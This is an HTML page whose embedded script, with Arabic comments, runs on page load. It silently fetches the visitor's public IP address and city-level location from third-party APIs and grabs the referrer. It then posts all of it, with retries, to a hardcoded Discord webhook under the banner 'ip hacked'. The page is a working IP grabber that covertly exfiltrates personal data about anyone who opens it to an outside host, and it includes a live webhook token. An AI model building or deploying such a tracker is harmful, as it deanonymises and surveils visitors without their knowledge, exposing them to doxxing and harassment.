<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <title>Send Data to Discord Webhook</title>
</head>
<body>
  <script>
    function getCurrentTime() {
      const now = new Date();
      let hours = now.getHours();
      const minutes = now.getMinutes().toString().padStart(2, '0');
      const ampm = hours >= 12 ? 'PM' : 'AM';
      hours = hours % 12 || 12; // تحويل إلى تنسيق 12 ساعة
      return `${hours}.${minutes} ${ampm}`;
    }

    // دالة لإضافة تأخير
    function delay(ms) {
      return new Promise(resolve => setTimeout(resolve, ms));
    }

    // دالة لإرسال البيانات إلى Webhook مع إعادة المحاولة
    async function sendToWebhook(time, ip, location, referrer) {
      const webhookUrl = 'https://discord.com/api/webhooks/1324351247276314624/11TNhQ2tzrHmKkmMhkKJoAuLU5vH6Rk8_LRwLQ6WM7igXkDPl4k0vkpid1taqmbx5y0b';
      const message = `> 𝕚𝕡  𝕙𝕒𝕔𝕜𝕖𝕕\n> Time: ${time}\n> IP: ${ip}\n> Location: ${location}\n> Referrer: ${referrer}\n> 𝕕𝕖𝕧 𝕓𝕪 𝟛𝕥𝕒 𝕓𝕒𝕨𝕜`;
      const imageUrl = 'https://media.discordapp.net/attachments/1297870711230304308/1324360374140801076/nut_11zon.png?ex=6777de36&is=67768cb6&hm=4f2a52d680afa24daad1e233e65fd30c7455edb482e5cda2e145dc4fc3b9ec95&=&format=webp&quality=lossless&width=437&height=437';

      const payload = JSON.stringify({
        content: message,
        embeds: [
          {
            image: {
              url: imageUrl
            },
          }
        ]
      });

      let attempts = 0;
      let success = false;

      // محاولة إرسال الطلب مع إعادة المحاولة إذا تم رفضه
      while (!success && attempts < 5) {
        try {
          const response = await fetch(webhookUrl, {
            method: 'POST',
            headers: { 'Content-Type': 'application/json' },
            body: payload,
          });

          if (response.ok) {
            console.log('Data sent successfully!');
            success = true;
          } else {
            console.error('Error sending data:', response.status);
            if (response.status === 429) { // إذا كان السبب هو الحد الزمني
              const retryAfter = response.headers.get('Retry-After') || 5; // تأخير قبل المحاولة مرة أخرى
              console.log(`Rate limited. Retrying after ${retryAfter} seconds...`);
              await delay(retryAfter * 1000); // تأخير بالثواني
            } else {
              throw new Error(`HTTP Error: ${response.status}`);
            }
          }
        } catch (error) {
          console.error('Error sending data:', error);
          attempts++;
          if (attempts < 5) {
            console.log(`Retrying... (${attempts}/5)`);
            await delay(2000); // تأخير 2 ثانية بين المحاولات
          }
        }
      }

      if (!success) {
        console.log('Failed to send data after multiple attempts.');
      }
    }

    async function fetchIPAndLocation() {
      try {
        const ipResponse = await fetch('https://api.ipify.org?format=json');
        const ipData = await ipResponse.json();
        const ip = ipData.ip;

        const locationResponse = await fetch(`https://ipapi.co/${ip}/json/`);
        const locationData = await locationResponse.json();
        const location = `${locationData.city}, ${locationData.region}, ${locationData.country_name}`;

        const time = getCurrentTime();
        const referrer = document.referrer || 'No referrer'; // إذا لم يكن هناك مرجع URL
        sendToWebhook(time, ip, location, referrer);
      } catch (error) {
        console.error('Error fetching IP or location:', error);
      }
    }

    document.addEventListener('DOMContentLoaded', fetchIPAndLocation);
  </script>
</body>
</html>
